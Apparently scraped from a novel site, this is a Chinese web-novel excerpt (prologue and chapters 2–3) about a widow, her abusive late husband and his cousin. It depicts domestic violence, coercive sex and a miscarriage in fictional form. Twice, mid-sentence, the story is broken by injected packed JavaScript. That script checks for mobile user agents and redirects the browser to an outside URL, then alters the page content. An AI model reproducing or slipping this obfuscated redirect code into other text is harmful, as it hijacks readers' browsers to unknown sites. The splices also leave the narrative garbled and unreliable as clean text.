《失情雨》 1. 第 1 章 注: 您可以选择在阅读正文之前先阅读本番外,也可以跳过前情,直接从第二章的正文开始阅读。 不同的选择会有不同的体验,请您自行选择。 前情番外·春恨 对舒纯熙来说,关于敬亭的一切,好像无从说起,就连刻意地去回忆,也因为那段不算长的婚姻在她心中烙下的丑陋印记,如同鱼刺般横亘在了心头。 想放手彻底遗忘,终究做不到。 或许这样的情况,正是对这个男人一直以来苦苦追求的做了回应,如果他还活着,他应该能心满意足地露出得逞的笑容,庆祝他的得偿所愿。 他这个人,乃至于他对自己做过的所有的事情,确确实实足够深刻,乃至刻骨铭心,日日夜夜如同万千只蚂蚁一般啃食着她曾经健康的心灵与身躯。 她尽量不去回首。 舒纯熙的童年,占据大部分篇幅的那个人,叫敬渝,至于那个叫敬亭的男孩,或许只是一幅幅画面里的边缘人物,她实在想不起更多的什么来。 或许是报复她对他的毫不在意,那两年在波利市,处于安全考虑没有出门工作过的舒纯熙,与他相对了太多的时间,像是把没有过的那份童年换了一种方式重新来过一般。 只不过不同的是,这一次,在一个角落里等待着另一个人到来的人,换成了舒纯熙。 从默默感恩他,再到与他有过一段还算甜蜜的新婚日子,然后,在朦胧黯淡的无助之中,又眼睁睁地望着这个男人失去了对她的耐心,同她争吵、向她发难,既而变心,受他付诸于自己身上的所有刻意羞辱。 她迷茫过,无奈过,也试图努力过。 他爱她,所以他想要自己回报给他同等的爱,这是再正常不过的事。 只是他陷入了牛角尖,不愿意从回忆里抽身,也不愿给予她一份宽容和谅解。 新婚时他对往事只字不提的那份风度早就消失得无影无踪,转而揪着舒纯熙一遍遍质问,为什么她的心里还是只有敬渝。 她否认,但又否认地有些违心。 她也不知道,事到如今,她的心变成了什么样子。 而当初那个愿意等待她的男人早就翻脸变卦,只是固执地指责她始终在原地踏步。 *** 舒纯熙和敬渝的娃娃亲,大人们常拿出来打趣,并不避讳,但倒不至于真让敬亭提前地叫她“堂嫂”之类的。 所以舒纯熙那个洋娃娃一样的女孩,在敬亭小小的心灵里留下的印象是很奇怪的。一直到他越长越大,他都还记得,大人们眼里看那两个孩子的那种眼神。 舒纯熙和敬渝,好像板上钉钉是一对了,即使他们现在还没有结婚,但是,彼此都已经被“订”下了。 而敬亭没有跟敬渝一样,获得那么细致地罩着小小舒纯熙的机会。 他对那个漂亮精致的小女孩生出的亲近之情,并没有成功地表达出去。 她身边有父母,还有敬渝,她拥有那么多关心照顾,就像是一个小太阳一样,可惜的是,在角落里同样被太阳光普照的他,并不因此知足,他花更多的时间想要弄明白,为什么站在太阳身边的,不是自己。 而这个问题并不是课本上的数学题,它没有答案。 他沉默地纠结过一段时间后,很快就生出了一种隐约的嫉妒。找不到解决办法的结果,就是他以报复性的放弃,直接远离了他的堂兄以及他未来的“未婚妻”。 后来,世事变迁,幼年那点不甘早被时光的尘埃埋在了心底,他有更多被凸显出来的问题要去解决,比如繁忙的课业、父母的期盼,他们将他与敬渝放在一起,日复一日地进行着比较。 小时候关于舒纯熙的那个莫名疑问,在往后的日子里,以另一种方式全方位地笼罩住他的生活,逐渐让他喘不过气来。 后来,随父母迁居国外,他就再没有回去长住过。 直到舒纯熙毕业,舒家遭难,他那个样样拔尖、运筹帷幄的堂兄,竟然为了利益,没有立刻娶舒纯熙进门。 这事闹得沸沸扬扬,大家都知道,敬渝将人接进了敬家,但是没有名分地住了下去。 从前他对她的好,在巨大的世事动荡面前,竟然也显得那么可笑,他不敢为了舒纯熙跟那些明里暗里的势力对抗,他是个彻头彻尾的懦夫。 时隔多年,敬亭第一次主动联系了舒纯熙。 那个时候,他就知道,这或许是上天对他的补偿,让他终于有机会,将年少就不可得之人夺过来,而且,从这一天开始,她还会感激自己。在她的心里,他终于能跟敬渝分出高下来了。 电话那头,舒纯熙沉默地思考了一会儿,对他道谢,然后答应了他。 她没有做什么保证,而他也不用提什么条件,可他心里早已清楚,从自己向她伸出援手的这一刻起,他就赢了。 他不仅仅赢过了敬渝,还赢得了舒纯熙。 他的动作很迅速,几乎是立刻就安排了可靠的人去将舒纯熙接来,同时他驱车回家,在父母面前一声不吭地跪了五个小时,最终他们认下了这个儿媳妇。 这件事舒纯熙当然无从得知,他也不想让她知道,那个时候从地上爬起来,他竟然罕见地升起一种羞赧的情绪。 一时之间,所有事情顺利无比,他知道舒家倒台,想要害舒纯熙的人不会少,或许舒纯熙自己,手上还握着什么重要的东西,所以他的布置很用心,他从来不知道自己是那么认真的一个人。 后来舒纯熙抵达了云国,他亲自去接的她。 已经记不得多久没见过,她还有着明显的憔悴,但他没说什么,只是将往后她身边安保的情况通通告诉她,好叫她安心。 她需要的是来自敬家人的庇护,这一点,他已经明白了,她愿意嫁给自己,这也是他应当承诺给她的。 望着女人低垂的眉眼,他握了握她冰凉的手。 婚期自然是越快越好,两周后,两个人在波利市城外的一个庄园内举行了婚礼,到场的宾客实在有限,但她等不了那么久,而他也实在顾不得那么多了。 他怕夜长梦多,怕她反悔,亦或是尚在国内的那个人反悔。 至少仪式和装置上,他尽量满足了舒纯熙的想法,没有让她在婚礼上留下太多的遗憾。 新婚夜,是他们第一次在夜里独自面对彼此。 仪式结束后她就换下了那件繁复华美的长摆婚纱,各自洗过澡后,都是穿着柔软的绸缎睡衣。 他们下午都喝了点庆祝的香槟,房间里萦绕着若有似无的酒气,然后就是茉莉花香的香氛。 白炽灯的光打在她乌黑柔顺的发上,她怯怯地抬起头,眼里澄澈又带着点不确定的胆小,努力扬起的微笑则是对他的感激。 她和他都心知肚明——舒家现在的情况,牵一发而动全身,她好几个叔伯都被暂时看管起来等着调查清理,连以前对她那么好的敬渝都望而却步了……所以她感激他,无比地、诚挚地要感激他。 她会陈恳地奉上她的全部,为了报答他对她的庇护,乃至与她结合可能带来的一系列麻烦。 面前这个曾经的舒大小姐,不再是从前遥远的不可及的月亮,她带着对他尚感到陌生的感觉坐在他们的婚房里。 从此往后,若他愿意捧她上天,她便会成为他的公主。 但若他不愿,承受了自己莫大恩情的她,就会永远沦为这段婚姻里的下位者。 舒纯熙当时仰望着面前的敬亭,心里已经不是那么的一派茫然了。 早在她答应敬亭,不远万里来到这里的时候,她就已经下定决心与过去、还有那个男人彻底再见。 否则,她实在是对不起敬亭,更无法报答他对自己付出的巨大代价的爱。 尽管她也只是在几周之前,才第一次知道,他竟然是喜欢着自己的,在她从来不知道的角落里。 但她不是不知好歹的人,投桃报李,理当如此。 抑或是现在的她,已经没有了可以与他交互的条件与资本,除了能回报给他一个一心一意的妻子,她实在是一无所有了。 敬亭从浴室出来前,她的心里已经彻底将一些东西给放下了。 她在心里下定决心,从今往后,成为敬亭的妻子,她要重新去爱一个人,和他好好地开始新生活。然后,或许在两年后,她能等到一个机会,回国去,届时拿着她手上的东西,为父亲和叔伯们平反…… 就这样想着,心中清明,敬亭也已经洗好澡走了出来,缓缓停步在了她面前。 敬亭其实跟敬渝长得并不太像,他更像是那种富有野性和生命力的男人,像是非洲丛林里的一只猎豹。 舒纯熙暗自在心里想着,仰着头望向他。 她不知道今夜会怎么度过,但那件事大概是要发生的吧,对此她也没有什么好矫情的。 或许他们应该先聊聊天,说一会儿话? 感激的话已经说了太多,现在再翻出来,难免让他厌烦,只是他们的生活已经偏离了太远,实在没有什么熟悉的东西可以拿出来寒暄。 她又忽然想到,在此之前,她是不是应当提一下敬渝?到现在,他们两个之间都心照不宣地避开了那个人,但她其实隐约里有种后怕,担心他会介意她的过去。 就这样想着,心思有点乱起来,也不知道贸然提起这个,是否算是一种扫兴或者冒犯。 舒纯熙纠结又纷乱地思索着,敬亭忽然俯身朝她靠过来,将她抱起来,轻放到了床上。 脑子里想的那些事终于喊停,她乖巧地闭上了双眼,承受敬亭落下来的轻吻。 “睁开眼,看着我。” 他命令她。 于是她睁开眼,落入一双散发着蓄势待发危险信号的眸子里面。 “敬亭……我,” 她叫他的名字,但又好像没什么可说的,她只是紧张,又有点害怕。 他揉了揉她的发顶,与她交换了一个缠绵悱恻的吻,声音有点喑哑, “别怕。” 说这话的时候,敬亭心里想着的其实并不是要如何安慰身下的新婚妻子,他只是从方才的那个交吻之中回不过神来,他好像那个吻带给他的认知打了重重的一棒槌,心里生出一种诡异的愤怒和失落之感。 他根本没有想过舒纯熙那妥帖的、深入的回应并非是她早已纯熟的技巧,他盲目地忽略了她压下羞赧之心的讨好与投桃报李的事实,从那美满的感受中很快偏离了方向。 他知道她跟敬渝谈了很多年的恋爱,他们两小无猜、亲密无间,或许有过比这更激烈的吻也不一定,又或者,自己不会是舒纯熙的第一个男人…… 这些事,早在结婚前他就想过,但直到此时此刻,在他们的新婚之夜,他竟然发现,自己其实是那么地在意。 脑袋轰隆隆得叫嚷着不停,喉头滚动,心里那点血好像一下子都凉了,偏偏身体的反应做不得假,一瞬间竟然冷热交替,眼皮被闹得狠狠挑了几下,太阳穴上的神经疼痛了起来。 好在没有过太久,敬亭继续了下去。 舒纯熙听话地望着他的那张脸,身体上前所未有的巨大刺激将所有感官聚集在某个地方,面部的表情随之望上去呆呆地茫然。 敬亭的心脏则剧烈地闷痛了起来。 那一刻她的反应被他解读为了走神,他判定那时候她的心里一定在想着另一个男人。 动作报复性地猛烈了起来,甚至听得到她刻意咬住牙齿才能咽下去的闷哼,此时敬亭的心才终于轻松了些许,产生了幼稚的报复的快感。 爱抚与温柔耐心的举动,像是表现得好才能得到的奖励,被他残忍地给收回。 舒纯熙的第一次,在一种绝不算美好的经历下结束了。 敬亭很快翻身下去,近乎无情地留给她一个背影,一句话也没说,连夜离开了他们的婚房。 舒纯熙失眠了大半个晚上。她一直不知道,那天晚上敬亭到底去了哪里。 她想找人问,或者诉说一下心中的不解与无助,但是没有,什么都没有。 她在云国,举目无亲,从前的好朋友们,也因为舒家出事,或多或少地疏远了她,她自然也不会不识趣地继续纠缠。 第二天敬亭又出现在她的面前,那时候他已经收拾好心情,只字不提昨夜他的出走。 她也想明白了,如果有什么是他在意的,那应该就是她和敬渝的过去了。于是她拉着敬亭的手,认真地告诉他,她和敬渝已经结束了,往后也不会有什么。 她解释否认得太快,快得让敬亭不得不升起一种怀疑,仿佛她早就想好要编织出一个什么样的谎言,来诱使他成为一个愚不可及的绿王八。 或许他应该早点有心理准备的,明明在不久之前,她还在心心念念地等着嫁给敬渝,怎么可能,一下子就能转换心意? 从前他不愿意细想,但这个问题却在此时扑出来笼罩住他的心。 她着急着表忠心的话被他打断,男人忽然粗暴地亲吻她,一字一句地告诉她,他不在乎,他只要他们的以后。 只是那个时候舒纯熙还不明白,或许她就应该永远避免在敬亭的面前,提起“敬渝”这两个字。 她所有的解释,都只能一遍遍证明着她与敬渝拥有的过去这个事实,而敬亭,是在乎的,他甚至永远都不会放下这份在乎。 表面的和睦维持了一个月,这天夜里舒纯熙久违地收到了敬渝的消息。 敬渝自然是“后悔”了,他问她在云国是否一切都好,向她道歉,又哄她,说他并不是不愿意娶她的意思,求她回去,他当然会娶她的。 彼时敬渝根本不知道二人的婚讯,他知道的唯有舒纯熙把他给拉黑了,而敬亭信誓旦旦地向他保证,她只是来云国避一阵子,这期间他会全权负责她的安全,请他务必放心。 舒纯熙累得蜷在敬亭身旁,沉沉地睡了过去。身旁的男人早就弄到了舒纯熙的手机密码,正在夜里查她的手机。 所以看见这些消息的人自然是敬亭,他在手机散发出的白光面前勾起唇角,目光里瞬间布满阴翳,将敬渝发来的新消息一一删掉。 然后又接着将聊天框向上划,近乎自虐地看这两个人在“决裂”前的消息往来。 看舒纯熙殷勤地给敬渝用动画猫咪的表情包道早安、晚安,而敬渝则稳重礼貌地用文字回复。 看舒纯熙亲昵的撒娇与关心,而敬渝的回复里带着无奈的宠溺,短短的“知道了”三个字,都好像带着浅笑。 看他们给彼此打过的那么长的通话时间,敬渝一向是惜字如金,但是面对面的视频里,他能说的话可就多了。 敬亭沉吟着,冷冷地挑了挑眉。 很快敬渝不再寄希望于发消息给她,因为他终于知道了,敬亭和舒纯熙在云国登记结婚的事。 敬渝赶到云国的那天,氛围极其诡异。 面对着自己的堂弟和已经成为他“弟妹”的舒纯熙,他来不及展示的悔恨与卑微恳求都成了多余。 望着眼前的敬亭,他忽然惊醒道面对一个往后在舒纯熙身边陪伴她的人,也就是她的丈夫,尤其当他还十分清楚自己与她的过往时,他应该立刻与舒纯熙保持距离,而不是有任何可能令敬亭误解的言语或举动。 敬渝即刻做回了绅士,以一个“大哥”的身份,礼貌又疏离地问候了他们两句。然后在舒纯熙那如同望向陌生人的目光里,明白了她的答案。 然后,他几乎没有停留,以一个男人对于竞争者的天性直觉出发,杜绝了一切可能令敬亭不舒服的可能,很快踏上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376249|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了返程。 然而敬渝的考虑并未发挥作用,敬亭并未因为他的表现而放下芥蒂,反而在午后舒纯熙坐在窗边远眺时,对着她状似失魂落魄的状态爆发了单方面争吵。 “你当我这儿是什么?真想跟他走,刚刚怎么不表现出来,我想他现在应该很乐意娶你吧?你现在摆这个样子给谁看,是要告诉我你还多么地念着他?” 舒纯熙不知道他为什么会突然发难,她慢吞吞地走上前去,试图用她从前对敬渝的那一套,就是双手揪着他的一只胳膊衣袖,轻晃两下请他不要误会自己。 敬亭不想听她的解释,猛地推开了她的双臂,眼睁睁看着她整个人失去平衡,朝旁边撞去,额头碰到橱柜的一角上面。 舒纯熙的眼睛霎时就红了,一只手抵在伤口处,沉默地垂下头去。 而敬亭依旧高高在上。 “我不是敬渝,别拿那一套对我。” 他将舒纯熙的手机拿过来丢给她, “你自己把敬渝的联系方式删干净,所有的社交平台都删除拉黑。” 舒纯熙的双眸盈满了泪水,在一片模糊之中照做。 两个人关于敬渝这个人的这件事,至此才在明面上终于翻了过去。 然后,如鲸深入海底,从此像一根海底神针般,深深地扎进了敬亭心里。 此后,过年节、清明祭祖,只有这两种场合,舒纯熙才会跟敬亭回国,再在敬宅与敬渝遇见。 敬渝或许从来都不知道,每次他们与他见过之后,回到波利市,她迎来的都是敬亭粗鲁的对待。 他会在那段时间在外面喝得烂醉,回到家,有时候是对舒纯熙动手动脚,有时候则是会毫无顾忌地打她。 第二天醒过来,他又忏悔似的沉默,用幽黑的眼睛凝视着她。 “你很后悔吧,当时愿意娶你的人是我,不是敬渝?” “初三那天的菜,很好吃是不是,临江阁已经退休的大厨,本来应该在老家好好过年,你说敬渝怎么那么有本事,能说得动他来做这顿饭?” “你说,你都已经是他名副其实的弟妹了,怎么他就还不死心?你们一个两个,是不是都觉得我傻,觉得我什么都查不出来,所以才敢在我眼皮子底下暗通款曲,啊?” 舒纯熙坐在床头,手里攥着一把水果刀,上面还沾着敬亭的血。 自从嫁给敬亭以来,好好解释过,表过衷心,甚至低声哀求过,所有方法她都尝试过了,后来她也不再解释了。 或许敬亭只是欣赏她的痛苦与无助,他固执地将所有一切可能性解释为她还爱着敬渝,而敬渝也还爱着她,甚至,他们依旧私底下在往来。 舒纯熙已经失去了辩解的想法,但这却令敬亭更加抓狂,他恨她如今看向自己死水一般的眼睛,恨她对自己的失望和冷淡,恨她会为敬渝流泪的事实。 不知道从什么时候开始,家里的佣人开始跟他汇报,昨天他半夜离开后,她是怎样躲起来默默地哭泣的。 她一定是很后悔吧,羊入虎口,嫁给了自己,她如今以泪洗面,不就是在证明她有多么地后悔,当初竟然会选择自己么? 如今面对他的时候,她只有一种包裹在盔甲里的沉默,或许她只是在熬日子罢了。 “纯熙,别念着他了,他不会来拯救你的,当初不顾一切愿意娶你的人是我,当初他就已经放弃你一次了,你不会以为,现在,他这个大伯哥,还能做点什么来帮助你吧? “喔,我忘了告诉你,他根本不知道我们俩到底怎么样,他到现在,说不定还以为,我们关系好得很呢。你放心,我都跟他说了,我们在备孕,没多久,等你生了孩子,以后还要叫他大伯呢……嗯?” 敬亭状似不经意的话并未得到她的回应,她只是冷冷地开口,打断了他继续再说, “敬亭,我说过,你再敢打我,我真的不会手下留情的。” 她的眼神在敬亭左肩上的伤口上一扫而过,经过一夜,早已经停止流血,结了厚厚的一层血痂,给他们同室操戈的婚姻增添了一种狂热的迷乱的氛围。 敬亭冷笑了一下,捂住伤口下了床。 “舒纯熙,你给我等着。” 舒纯熙没过多久就知道他让自己等着的是什么了。 敬亭出轨了。 发现这件事并不难,她花了很短的时间就接受了,并且面对敬亭明显带着审视与探究的目光,表现得和往常一样,仿佛根本就不在乎一样。 她不想告诉他,她对他们的婚姻已经死心了,她曾经带着报恩的心情做过最大的努力,但是他不愿意相信自己,她实在没有办法。 但这显然激怒了敬亭。 不久后的某天,舒纯熙从商场回到家里,佣人朝着她挤眉弄眼。 舒纯熙迟疑地撑着扶手,一步步走到二楼,然后听到卧室门后发出的男女调笑声。 舒纯熙颤抖着手,猛地将门给打开,然后看见带着应召女郎回家的敬亭,两个人就躺在他们的婚床上。 舒纯熙精神崩溃般地大叫一声,总算如同敬亭一直以来所期盼的那样,如同一个泼妇一般,为着眼前这个男人拔高了声音,怒吼道: “敬亭……你欺人太甚!” 她边说边摇头,整个人的神情以肉眼可见的速度变得失望,然后绝望,同时往后小步退了出去。 床上的敬亭总算失去了一开始好整以暇的表情,意识到不对后,立刻站起身来穿衣服,然后去拽舒纯熙。 只差一步,他就要捉到了。 但舒纯熙没给他这个机会,那天她穿着一双九厘米的红底高跟鞋,在台阶上踩了空,崴了脚后直接顺着楼梯,从二楼滚到了两节楼梯的中庭上。 敬亭大惊失色,赶下去正要查看她的情况时,若有所感一般,将实现移到她的身下,一团血红色的液体缓缓流出,与身下的深色地毯辉映。 …… 舒纯熙有了一个半月的身孕,流产了。 醒来后,敬亭坐在她病床旁的椅子上,嚅动着嘴,想说点什么,却在望见她古井无波的眼神后心虚地低下了头。 而舒纯熙望着他,只有良久的沉默。 失去了那个孩子之后,敬亭大梦初醒。 车祸发生的那一天,敬亭开着车,舒纯熙坐在副驾,他们很认真地在探讨这段婚姻的归宿。 一直以来,舒纯熙始终牢牢记着父亲的话,所以哪怕她曾动过分居的心,也不敢轻易去思考离婚的事情。 但平静了将近两年,即使明知离开了敬亭之后,她没办法在短时间找到一个新的庇护,她还是莫名地懈怠了起来,甚至生出一种暗自的侥幸,或许离开了他,她也能好好地活下去。 那辆车就是在这个时候突然从路旁冲了出来。舒纯熙惊吓得发不出声音,然后就看见敬亭用大半的身体挡在了自己的身前。 耳鸣声伴随着眼前一黑,周遭的一切都如同潮水般退去,怎么都无法再抓住。 …… 舒纯熙有时候想起来敬亭和他做过的那些事,心里会生出一种无奈的苦楚,一颗心脏像是被紧紧地给握住,又蹂躏了千百回。 她感谢他,正如他所说的那样,在敬渝都没办法坚定地选择自己的情况下,是他走向了自己。 但是她又恨他,为什么明明口中说着冠冕堂皇的爱,却用一次次地伤害,来将她心里对感情的所有希冀都给残忍打碎。 在他之前,她只和敬渝谈过恋爱,还是那种长长久久仿佛永远不会分开的恋爱,她关于感情的认知,其实是浅薄单纯的。 然后她与敬亭结婚,拥有了一地鸡毛的婚姻生活。 她本以为她会一直这么恨他的,即使他改过自新求自己原谅,她也不要原谅他了。 但是敬亭死了。 2. 第 2 章 第二章、 清明四月,洒落的细丝小雨一直笼罩着昼米尔市。 停机坪上不断刮在耳边的风,带着令敬渝面部微微僵硬的凉意。 几分钟后,伴随着一道机轮在沥青跑道上摩擦出的长啸,一架小型的私人飞机逐渐停稳。 从四十分钟之前,敬渝便以相同的姿势站在那里,几乎一动不动地,直到机场人员有条不紊地上前,舱门缓缓打开,他望着那门后的一片阴影,握着伞的手才缓缓收紧了起来。 伞柄捏在掌心,他却似没有感觉一样,任其将自己同样冷硬的手掌心,硌得有些发红起来。 目光平静而沉稳地投向几十米外的舷梯处,不知多久之后,舱门后面总算走出一道身影。 将近两年的时间过去,那个本该无比熟悉的人的样子,竟然已经变得令他陌生了起来。 远远望去单薄的一片,说是大病初愈也不为过,瘦得皮包骨一般。形成鲜明对比的,是她怀抱里端正捧着的一个乌木方盒,厚重,硕大…… 眼睫迟缓地一扫,西装革履的男人总算迈开步子,往前方走了过去。 . 舒纯熙抱着手里的骨灰盒,双臂以环抱的姿势,两只手腕向内弯曲,抵在盒子的两棱使力。 耳边响着乘务长礼貌的感谢与告别,她侧头向外望去,看见要从舷梯下飞机,双手下意识地收紧,几乎扒在手中的盒子上面。 眼睛低垂着,乍一望上去,眉间笼罩着几分淡淡的哀怨意味。 场面话还没说完,乘务长已经发现她的异样,连忙改口解释了一句: “敬太太不好意思,地面今天没有安排廊桥对接,为您安排了摆渡车,您看可以吗……” 似乎总算回过神来,方才面上的情绪已经一晃而过不复存在,仿佛确实是乘务长的错误猜想。 舒纯熙回过头对说话的人摇了一下头,轻声开口,只是宽慰道: “没关系,我走下去也可以的。” 再过几天,敬亭离开将满三个月,舒纯熙如今尚在为他戴孝。 一头柔顺的乌发别在耳后,各用两只老式的黑色夹子固定住,纯黑色的长袖连衣裙遮住小腿肚,左臂上用别针固定着一块黑色袖套。 似乎只有从她脚上踩着的这双七厘米的黑色高跟鞋身上,还能窥见些许这位女郎在戴孝之前的摩登时髦。 乘务长几个月前无意听同事们八卦过,说眼前的这位舒小姐,从小含着金汤匙出生,千娇百宠地长大,两年前舒家虽然遭了事,但没过几天,她又嫁进了昔日便与舒家比肩、此后也屹立不倒的敬家。 婚前是一等一的优渥家世,婚后,也是十指不沾阳春水的“敬太太”,想来也是压根没机会过上几天苦日子。 不过现在, 脑中念头一闪,女人一身黑的装扮不容忽视,乘务长转而心里生出点同情,也清楚,今时今日便又不好说,是不是舒小姐也走到了好运气用完的那一天了。 舒纯熙当然不知道旁边的人在想什么,她的呼吸近乎凝滞,以此好把所有的关注力都聚集到眼前的舷梯上面,尽力不去把恐高当做一件需要自己去克服的事情。 毕竟,她早没了可以任性抱怨的资本,从两年前开始,就再也没有人会为她考虑关照这些事了。 往后,大概也不会。 视线一直紧盯着面前的下一级台阶,她再没有越界去望两边离自己还有些远的地面。 只是手里抱着的盒子沉甸甸的,艰难又谨慎地走到一半,一个念头在脑海里忽闪而过,她想—— 要是一个脚滑,手里的盒子飞出去,敬亭的骨灰在这样的雨天撒了一地,拾也拾不起来,伴着水化成一滩浑浊……这件事,又该如何收场? 就这样,带着心里那点莫名其妙的闷窒感,她竟勾起一个惨淡的笑容来。 总算踩过最后一级阶梯,心中暗暗松了一口气,舒纯熙没有停下,又向前走了五六步才站定,然后抬起头往前方望去。 差不多也是这个时候,敬渝在两步外停下了脚步。 两人的目光就这样在烟雨朦胧中对视上,只一息,飞快又寻常地交汇又移开。 敬渝很快侧转头,已经是向自己身后的秘书做了个抬手的动作,示意他去给舒纯熙撑伞。 郑徽会意,小跑了几步走到舒纯熙身后,将手中握着的长柄黑伞稳稳地罩在舒纯熙头顶,自己则规矩地保持着距她半臂的距离,将大半个肩膀都留在了伞外。 直到头顶撑起了一把伞,被笼罩的人好像才意识到下雨了。 方才轻轻刮过脸庞的细丝雨帘,也后知后觉地才被她感受到。 两片睫羽快速颤动了几下,一粒细小的雨滴凝在一根睫毛尾部,因受重向下压去,不算明显,但也足够扰乱原本清明的视线。 右眼眼前的场景,因着余光里的那颗雨珠,光线折射开来,靠上的那小半部分扭转得模糊了。 但她双手都被占据着,除了迅捷地多眨几下眼睛,并没有腾出手来做任何多余的举动。 垂下眸子后,舒纯熙往前朝敬渝走了两步,头上的伞也与她同步移动,只走了两三步,就到了跟前。 半空中,两把形制不一的黑伞也轻轻地碰撞在了一起,后来者又向后弹了回去。 如同雨滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376250|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇入大海,涟漪倏忽被淹没,这细微的异动引不起任何影响,一瞬间,后来的那把黑伞已经稳当地立住了。 两把伞保持了半厘米的间隙距离,远远望去,只像是紧贴着彼此一样。 伞下,舒纯熙微微向上仰起头,眼神主动寻去敬渝的面庞上,平静中带着死气的眼睛,盯着他的那一双眼睛。 敬渝有一双狭长又秀美的眼睛,被他刻意收敛着,看上去漫不经心地阖着,只睁开大半。高挺的鼻梁下面泛着粉的唇抿成一条直线。 他还是长着以前的样子。 区区两年的时间,显然没有在他的脸上留下什么痕迹。 舒纯熙只觉得心中烂了一个大洞,里面透着风,一切空空。 就在这时,男人若有所感,颔首朝她投过来一眼,与她的视线近距离地交汇在一起。 “回来了。” 声音低沉,公事公办的一句寒暄。 时针、分针、秒针,飞机还有细雨,周遭的一切却还是在他幽深的眼神里瞬间凝滞住了。 男人投过来的眼神像是大海般深邃又沉默,好像他已经孤身等待了很久很久,为着此刻望向她的这一眼。 两年零四天,一万七千六百一十六个小时,维尔亚到莫瑞恩尔,昼米尔市到波利市,九千三百多公里。 她自以为心中只剩下一片枯草,再也掀不起什么波澜了。 但呼吸还是这样陡然一紧,扒着手中盒子的两只手肘兀自地抱得更紧,仿佛那才是让她感受得到安心的东西。 不消多久,两只小臂就僵硬得有点泛酸起来。秋天枯蝶颤翅一落那般,她轻轻移开了目光,转而望向地面,静了几息后,才张开口默默地叫人,喉咙里有点干涩。 “大哥。” 叫完人,她才再度抬头,又看着敬渝。 方才那些莫名的情绪已经不见,取而代之的是他眼底的淡漠,如同鹰隼般盯了过来,审视、判断,然后冷冰冰地收了回去。 大哥。 敬渝垂眸盯着她黑乎乎的发顶看了好一会儿,然后才从嗓子里挤出了一声“嗯”来。 但他没有发话,一行人只好这样僵持着。 过了一会儿,垂在身侧的左手总算动了动,敬渝再度开口时,听起来稍微有人味一点,依旧惜字如金。 “一路辛苦。车在外面……走吧。” 说完,敬渝转过身,而原本站在他身后的几个随行人员则向一旁退开,等舒纯熙先跟上去走在前面。 敬渝的步子迈得不小,后面的舒纯熙飞快地扫了一眼他遒劲挺拔的背影,只是顺应她自己的节奏,缓慢地跟上去。 3. 第 3 章 第三章、 下了摆渡车,舒纯熙总算坐上回敬宅的车。 她和敬渝坐同一辆车。敬渝在里,她在外。 上车后,舒纯熙的腰背也不曾塌下去,端正地坐着,并拢的双膝上则放置着她抱了一路的骨灰盒。 她的仪态举止一向都让人挑不出来错,不仅仅是因为从小就收到这方面的教育,还因为她本质上就是一个对待自己有些严苛的人,某些事情上她的态度很执拗。 沉默静悄悄地在车厢内流淌时,敬渝靠在椅背上,望了眼她的身影,静静地看了她的方向十几秒,然后,又移了回来。 从机场到敬宅有一段距离,车程不短。 郑徽坐在副驾,从后视镜里偷偷观察了一下敬渝的神情,在想自己要不要主动开口找个话题,来打破车里这压抑的氛围。 但是,舒小姐又不是回来探亲的,此时此景,好像寒不寒暄也不是那么重要了,还是不说话保持比较沉默比较稳妥。 另一边,敬渝双手交握,放在膝上,目光落在眼前的椅背上面,许久未动,只有微微向内皱起的眉头,昭示着他正在思考。 过了一会儿,他抬起眼皮子,主动开口,从郑徽手上要了用来看文件的ipad,拿在手里,开始处理起了工作。 看敬渝并无忌讳,舒纯熙也没有什么明显的反应,郑徽才压低声音,同敬渝小声又简略地汇报了几项事务重点。 敬渝“嗯”了一声,与此同时,食指在屏幕上慢条斯理地划动着。 郑徽报完两份文件的名称之后,就坐正了身体,等敬渝认真地过目文件,再回答他可能提出的疑问或者进一步的批复指示。 分针在表盘上转了一圈又一圈,等到第二十圈也结束,即将开始转第二十一圈的时候,敬渝抬起了头,将平板锁了屏,递了回去。 郑徽有点惊讶,但还是很快伸手接过来捧在手上,然后等待了一会儿,也没等到老板再度开口。 他一扭头,飞快地确认了一眼,敬渝已经侧过头,望向窗外。 玻璃上映出他紧紧抿着的唇角,一只手支着下巴,眼里神色幽幽,但看不出他的心思。 郑徽这才确定,老板虽然看了文件,但现在又确实没有要继续处理公务的意思。 敬渝确实没有继续谈下去的意思,他伸手捏了一下眉心,轻轻地将眉心以及它附近的皮肤抚摸着展开,按了一下,才收回手放在身侧。 文件,他是认真看了的。 其中一份数据分析里面,他觉得用另一种模型来分析可能效果会更精准,但显然准备的人将重点过度放在了统领全局上。 另一份,他倒是有很多问题,比如这个方案确实很好,但是预算真的能降下来么?并且第二页的脚注五还出现了一个明显的信息错误。 诸如此类。 但莫名地,今天他就是没了要一一指出这些问题的兴致。 他不想开口。 虽然他应该工作的,但他竟然也倦怠了,他感觉到了疲惫。 敬渝面上神色不明,身体向后微微一仰,将后脑勺靠在椅背上,然后保持这个动作一动不动,过了一会儿,不动声色地转动了一下,视线换了个方向,落在那头乌发上面。 两个人虽然坐在同一排,但因为明显不同的坐姿,视觉上造成了一前一后的位置差异。 所以现在他看她的动作,她应该不会察觉。 长发过肩不少,顺直的长发,黑得好像泛光。 肩膀前后的发丝,从耳畔绕到后背,露出一个弯曲的弧度,也勾勒出肩胛的清瘦,仿佛一只纤弱的秋后蝴蝶,下一秒就可能振翅飞走。 现在的她太瘦了。 